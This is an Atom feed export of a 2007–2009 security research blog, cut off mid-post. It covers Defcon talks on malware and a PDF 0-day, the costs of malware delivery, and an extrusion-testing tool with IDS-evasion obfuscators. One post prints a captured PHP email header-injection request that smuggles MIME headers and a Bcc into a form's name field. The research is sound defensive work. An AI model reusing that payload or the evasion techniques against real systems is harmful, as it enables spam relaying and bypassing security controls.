<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-19455371</id><updated>2009-07-02T12:25:30.944-04:00</updated><title type='text'>Mulling Security</title><subtitle type='html'>Remotely Exploiting 127.0.0.1 since 2006</subtitle><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default?start-index=26&amp;max-results=25'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.mullingsecurity.com/atom.xml'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>39</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-19455371.post-6504068842789227109</id><published>2009-07-02T08:51:00.005-04:00</published><updated>2009-07-02T09:40:57.422-04:00</updated><title type='text'>Decon 17 presentations</title><content type='html'>&lt;blockquote&gt;&lt;/blockquote&gt;It's been a long time since I've posted here, and I'm sure anyone with this link left in their &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;RSS&lt;/span&gt; feed is wondering if it's still live.  The real news is that I have two upcoming &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;presentations&lt;/span&gt; at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Defcon&lt;/span&gt; 17 that should be a lot of fun.  Both of these &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;presentations&lt;/span&gt; are with other researchers with whom I have done a lot of past work with.&lt;br /&gt;&lt;br /&gt;"Making Fun of Your &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Malware&lt;/span&gt;" is sure to be a great time.  In this talk &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;MHL&lt;/span&gt; and I will walk through some of the funniest mistakes we've seen in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;malware&lt;/span&gt;.  To put it in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;MHL's&lt;/span&gt; words:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Would you laugh if you saw a bank robber &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_9"&gt;accidentally&lt;/span&gt; put his mask on backwards and fall into a man hole during the getaway, because he couldn't tell where he was going? Criminals do ridiculous things so often, its impossible to capture them all on video. Rest assured, when the criminals are &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;malware&lt;/span&gt; authors, we can still make fun of them through evidence found in pictures, binary &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;disassemblies&lt;/span&gt;, packet captures, and log files. This talk evenly distributes technical knowledge and humor to present the funniest discoveries related to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;malware&lt;/span&gt; authors and the fight against their code.&lt;br /&gt;&lt;/blockquote&gt;Links:&lt;br /&gt;http://www.defcon.org/html/defcon-17/dc-17-speakers.html#Ligh&lt;br /&gt;http://volatility.tumblr.com/post/109305786/making-fun-of-your-malware&lt;br /&gt;&lt;br /&gt;"0-day, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;gh&lt;/span&gt;0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;stnet&lt;/span&gt; and the inside story of the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;jbig&lt;/span&gt;2 debacle" is filled with intrigue, controversy, fun hacker hunting and lots of opinions.  Steven Adair and I will be doing this talk together based off of &lt;a href="http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20090219"&gt;some work we did earlier in the year with the jbig2 0day&lt;/a&gt;.  This issue turned into a passionate debate around the merits of full disclosure, partial disclosure and lame vendor response.  We'll be sure to keep the spirited discussion rolling as well as show some interesting connections between this vulnerability and the &lt;a href="http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network"&gt;gh0stnet paper&lt;/a&gt; revealed earlier this year.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p class="abstract"&gt;This talk is the story of 0-day PDF attacks, the now famous gh0stnet ring and the disclosure debacle of the Adobe JBIG2 vulnerability in January and February 2009. This is the story of international cyber-espionage using 0-days and the fierce debate over how to defend networks in the face of prolonged periods of exposure to unpatched vulnerabilities.&lt;br /&gt;&lt;br /&gt;We seek to answer the following questions in this talk:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Who was behind the early 0-day attacks and are they the same as the gh0stnet report published in April 2009? &lt;/li&gt;&lt;li&gt;Did disclosure of the Adobe JBIG2 vulnerability have an impact on targeted attacks?  &lt;/li&gt;&lt;li&gt;How effective were post-disclosure protections such as AV signatures, IDS signatures and workarounds?&lt;/li&gt;&lt;/ul&gt; Throughout the talk we dissect the 0-day artifacts and other events leading up to the partial disclosure of the JBIG2 vulnerability on February 19 by ShadowServer. Using a variety of 0day PDF samples we will analyze the 0-day attacks and attempt to correlate them to the attackers discussed in the recent paper "Tracking GhostNet: Investigating a Cyber Espionage Network".&lt;br /&gt;&lt;br /&gt;We will also look at the partial disclosure by ShadowServer and then full disclosure on the Sourcefire blog and assess the impact on targeted attacks. We will analyse the various malicious PDF's submitted to Virustotal to determine their lineage and relationship to either the original 0day exploit and gh0stnet or new attacks that sprang up in the wake of the disclosure. The analysis tools and techniques will be shared to aid future analysis efforts.&lt;/blockquote&gt;Links:&lt;br /&gt;http://www.defcon.org/html/defcon-17/dc-17-speakers.html#Richard&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-6504068842789227109?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/6504068842789227109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=6504068842789227109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6504068842789227109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6504068842789227109'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2009/07/decon-17-presentations.html' title='Decon 17 presentations'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-3088552097826691694</id><published>2007-10-04T11:08:00.000-04:00</published><updated>2007-10-04T11:27:29.048-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mpack malware'/><title type='text'>Malware delivery - Fedex vs. Google Adwords</title><content type='html'>Consider two different means to deliver malicious code that cost money.  First shipping &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;thumbdrives&lt;/span&gt; loaded with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;malware&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;autorun&lt;/span&gt;.inf files.  Second buying Google &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Adwords&lt;/span&gt; and pointing the links to a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;webserver&lt;/span&gt; you have loaded with a legally purchased copy of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;MPack&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Both methods costs a lot of money.  Which has the best ROI?  Assuming that our goal is to infect 1,000 US users we can easily calculate the costs.  It's important to note that each country will have different average infection rates which significantly changes the math.&lt;br /&gt;&lt;br /&gt;Let's start with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Fedex&lt;/span&gt;.  We can buy 256MB &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;thumbdrives&lt;/span&gt; for about $2.50/each in quantities of 1,000.  The shipping cost for each drive (assuming targets all within 800 miles and non-rural) is about $5.22 each.   We also need to assume that about 50% of our targets will actually insert the drive and become infected. &lt;br /&gt;&lt;br /&gt;So our &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;Fedex&lt;/span&gt; cost is ($2.50 + $5.22) * (1000 users / .5 infection rate) = $15.44/infection.  Not too bad considering the amount of money that could be made from each machine.&lt;br /&gt;&lt;br /&gt;Now, let's run the same math with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;MPack&lt;/span&gt; and Google.  Let's buy a Google &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;adword&lt;/span&gt; likely to infect &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;lots&lt;/span&gt; of unwary US citizens with money in the bank and a propensity for clicking on odd links.&lt;br /&gt;&lt;br /&gt;Looks like "magic vacation" is &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_12"&gt;available&lt;/span&gt; for about $.05 per click.  That should work nicely for this example.  To calculate our costs we'll need some more information about &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;MPack&lt;/span&gt;.  First we can buy a "legal" and supported version for about $1,000.  From previous &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;MPack&lt;/span&gt; attacks I know that the US infection rate is about 3.3%. &lt;br /&gt;&lt;br /&gt;Our &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;MPack&lt;/span&gt; costs work out to $1,000 + (1,000 users / .033 infection rate * $.05/click) = $2.52 per infection.  (Ignore the fact that this requires 30,000 hits to our fake &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Adwords&lt;/span&gt; page :))  Not too shabby.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-3088552097826691694?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/3088552097826691694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=3088552097826691694' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/3088552097826691694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/3088552097826691694'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/10/malware-delivery-fedex-vs-google.html' title='Malware delivery - Fedex vs. Google Adwords'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-114029563265953163</id><published>2007-08-09T15:12:00.000-04:00</published><updated>2007-08-09T15:12:11.662-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php mail injection'/><title type='text'>Sample PHP Email Injection from a real Attacker</title><content type='html'>This posting has been in my drafts for over a year.  It's really interesting to see how &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;PHP&lt;/span&gt; mail injection is done in the wild.  Hopefully Michael doesn't mind me posting details - if he does it's not a problem since I'm sure he doesn't read these posts. :)&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Here is a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;php&lt;/span&gt; email injection attempt captured "in the wild".  This attack was against the same script that was exploited in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;PHP&lt;/span&gt; Email Injection Step by Step.&lt;br /&gt;&lt;br /&gt;The attack wasn't successful for 2 reasons.  First mod_security was used to block certain tell-tale signs of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;php&lt;/span&gt; email injection.  The second reason is that the script limits the "name" field to a reasonable number which this attempt exceeded.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;text=stood8261%40spree.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;mnin&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;.org&amp;&lt;br /&gt;email=stood8261%40spree&lt;/span&gt;&lt;span style="font-size:85%;"&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;mnin&lt;/span&gt;.org&amp;amp;&lt;br /&gt;Submit=stood8261&lt;/span&gt;&lt;span style="font-size:85%;"&gt;%40spree.mnin.org&amp;amp;&lt;br /&gt;name=him%0D&lt;/span&gt;&lt;span style="font-size:85%;"&gt;%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;AConten&lt;/span&gt;&lt;span style="font-size:85%;"&gt;t-Type%3A+&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;multipart&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;%2&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;Fmixed&lt;/span&gt;%3B+bound&lt;/span&gt;&lt;br /&gt;&lt;div id="mb_3"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;ary&lt;/span&gt;%3D3&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;cde&lt;/span&gt;64db239a99d3c03a2b33&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;99a85a90%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;AMIME&lt;/span&gt;-Version%3A+1.0&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;ASubject&lt;/span&gt;%3A+to+&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;himsilf&lt;/span&gt;%2C+a&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;+habit+iv+dog%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Abcc&lt;/span&gt;%3A+&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;charles&lt;/span&gt;&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;es3229%40&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;aol&lt;/span&gt;.com%0A%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;AThis&lt;/span&gt;+is&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;+a+&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;mult&lt;/span&gt;&lt;br /&gt;i-part+message+in+MIME+format.&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;%0A%0A--3&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;cde&lt;/span&gt;64db239a99d3c03a2b&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;3399a85a90%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;AContent&lt;/span&gt;-Type%3A&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;+text%2&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;Fplain&lt;/span&gt;%3B+&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;charset&lt;/span&gt;%3D&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;%22us-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;ascii&lt;/span&gt;%22%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;AMIME&lt;/span&gt;-Version&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;%3A+1.0%0AC&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;ontent&lt;/span&gt;-Transfer-Encoding%3A&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;+7bit%0A%0&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;Amay&lt;/span&gt;+remember+at+&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;tto&lt;/span&gt;&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;+s+visit%0A--3&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;cde&lt;/span&gt;64db239a99d3c&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;03a2b3399a85a90--%0A%0D%0A.%0D&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;%0A&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div id="mb_3"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-114029563265953163?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/114029563265953163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=114029563265953163' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/114029563265953163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/114029563265953163'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/02/sample-php-email-injection-from-real.html' title='Sample PHP Email Injection from a real Attacker'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-3765313567039776878</id><published>2007-08-08T10:59:00.000-04:00</published><updated>2007-08-08T11:11:39.693-04:00</updated><title type='text'>4 Reasons OSX is not ready for Malware Research</title><content type='html'>I love my &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;MacBook&lt;/span&gt; Pro.  I really, really, really want it to be my primary research machine.  Right now it sits between my &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Inspiron&lt;/span&gt; 9400 running Windows &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;XP&lt;/span&gt; and my 5 year old clone running Fedora Core 6.&lt;br /&gt;&lt;br /&gt;After 3 months of trying to use if for my research machine I'm resigned back to Windows and Linux.  Mac OS X just doesn't have the right stuff for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;malware&lt;/span&gt; research.&lt;br /&gt;&lt;br /&gt;Here's why I think it's not ready yet:&lt;br /&gt;&lt;br /&gt;1) Networking - Lack of strong networking support in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Virtualization&lt;/span&gt; products.  I've tested both Parallels (2 and 3) and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Vmware&lt;/span&gt; Fusion.  Both support multiple virtual &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;NICs&lt;/span&gt; and allow you to assign &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;IP&lt;/span&gt; addresses.  Both fail to offer the kernel level networking support of Linux tied into the virtual interfaces.  For example on Linux I can use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;iptables&lt;/span&gt; on the host to restrict traffic on virtual interfaces.  Not so with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;ipfw&lt;/span&gt; on OS X and Parallels.  Also, where are the virtual networking &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;config&lt;/span&gt; scripts for OS X?&lt;br /&gt;&lt;br /&gt;2) Disk Image Support - Parallels offers an explorer tool that can view any type of image through a GUI.  It works wonderful.  It doesn't let me mount the disk in a way that allows systematic processing of the disk image.  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;Vmware&lt;/span&gt; makes a nice virtual disk mount application for Linux and Windows but not OS X.&lt;br /&gt;&lt;br /&gt;3) Headless support - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;Vmware&lt;/span&gt; offers headless support on both Windows and Linux which saves tons of time with 4 research machines.  No need to sit in front of the machine running the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;VM&lt;/span&gt; to do simple GUI interactions.  No such option for OS X.&lt;br /&gt;&lt;br /&gt;4) Video capture - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Vmware&lt;/span&gt; supports full screen video capture of guests on Linux and Windows but not OS X.  Parallels does not offer video capture either.  Sometimes a screenshot just isn't enough.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-3765313567039776878?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/3765313567039776878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=3765313567039776878' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/3765313567039776878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/3765313567039776878'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/08/4-reasons-osx-is-not-ready-for-malware.html' title='4 Reasons OSX is not ready for Malware Research'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-6893481457283076887</id><published>2007-08-07T23:42:00.001-04:00</published><updated>2007-08-09T17:06:52.110-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='eescan'/><title type='text'>Defon 15 presentation now online</title><content type='html'>"Beyond Vulnerability Scanning - Extrusion and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Exploitability&lt;/span&gt; Scanning" is now online at &lt;a href="http://www.eescan.net/downloads/DC15.pdf"&gt;http://www.eescan.net/downloads/DC15.pdf.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Many thanks to all who attended.  Please feel free to send any feedback to:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Matt Richard - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Extrusion and Exploitability Scanning&lt;/span&gt;&lt;br /&gt;mrichard@verisign.com&lt;br /&gt;matt.richard@gmail.com&lt;/blockquote&gt;or&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Fred Doyle - Risk Metrics&lt;br /&gt;fdoyle@verisign.com&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-6893481457283076887?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/6893481457283076887/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=6893481457283076887' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6893481457283076887'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6893481457283076887'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/08/defon-15-presentation-now-online.html' title='Defon 15 presentation now online'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-6707261683128516774</id><published>2007-07-26T11:36:00.000-04:00</published><updated>2007-08-09T17:24:51.364-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='eescan'/><title type='text'>New Twists for HTML Obfuscation in EEscan</title><content type='html'>&lt;span style="font-weight: bold;font-size:180%;" &gt;Update 8/7/2007 - Please see www.eescan.net for additional details.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I've just finished coding up some new HTML obfuscation modules for eescan.  The exploitability tests in eescan will use these obfuscators to probe for&lt;br /&gt;&lt;br /&gt;Here are some of the obfuscators that work right now:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;gzip&lt;/li&gt;&lt;li&gt;deflate&lt;/li&gt;&lt;li&gt;chunked&lt;/li&gt;&lt;li&gt;MPack XOR javascript encoder&lt;/li&gt;&lt;li&gt;MPack cryptor 4-pass javascript encoder&lt;br /&gt;&lt;/li&gt;&lt;li&gt;AJAX&lt;/li&gt;&lt;li&gt;SSL&lt;/li&gt;&lt;li&gt;HTTP over port 443&lt;/li&gt;&lt;li&gt;SSL over port 80&lt;br /&gt;&lt;/li&gt;&lt;li&gt;arbitrary combinations like AJAX-&gt;Mpack-&gt;gzip-&gt;chunked-&gt;SSL-&gt;port 80&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;My favorite so far is AJAX which breaks up the target html into a random number of arbitrary chunks, downloads each using a synchronous request, reassembles them and then eval()'s the code.&lt;br /&gt;&lt;br /&gt;Initial testing of the Ajax modules is yielding great results against network based IDS/IPS, so-so results against proxies and good results against desktop AV/IPS suites.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-6707261683128516774?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/6707261683128516774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=6707261683128516774' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6707261683128516774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6707261683128516774'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/07/new-twists-for-html-obfuscation-in.html' title='New Twists for HTML Obfuscation in EEscan'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-8779073936080163093</id><published>2007-07-11T09:11:00.000-04:00</published><updated>2007-08-09T17:23:58.898-04:00</updated><title type='text'>Almost ready for eescan</title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;Update - For more information see http://www.eescan.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;All of the upgrades went smoothly and now I've got the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;colo&lt;/span&gt; ready for some &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;eescan&lt;/span&gt; action.  I was able to add some dedicated &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;IP&lt;/span&gt; addresses to my machine and some precious disk space.&lt;br /&gt;&lt;br /&gt;You might be asking what this whole &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;eescan&lt;/span&gt; thing is all about.  Well I guess you'll just have to come to the talk at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;DEFCON&lt;/span&gt; to find out.  Here's the abstract:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;With this presentation we will demonstrate a new tool called &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;eescan&lt;/span&gt; that automates extrusion and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;exploitability&lt;/span&gt; scanning using a client/server approach. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Eescan&lt;/span&gt; will be released under the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;GPL&lt;/span&gt; and utilizes python to create an extensible framework for testing extrusion and exploit defenses.&lt;br /&gt;&lt;br /&gt;All network security systems have gaps. Layered security tries to cover the gaps with overlapping protections like firewalls, intrusion prevention, proxies and other mechanisms. How do you really know where the gaps are before the weeds grow through? Vulnerability assessment tools scan for vulnerable systems from an attackers perspective. This technique has value but fails to represent the risk posed by client application usage and attacks. They also fail to assess extrusions - the traffic content allowed to leave a network.&lt;br /&gt;&lt;br /&gt;Extrusion and &lt;span class="blsp-spelling-error" 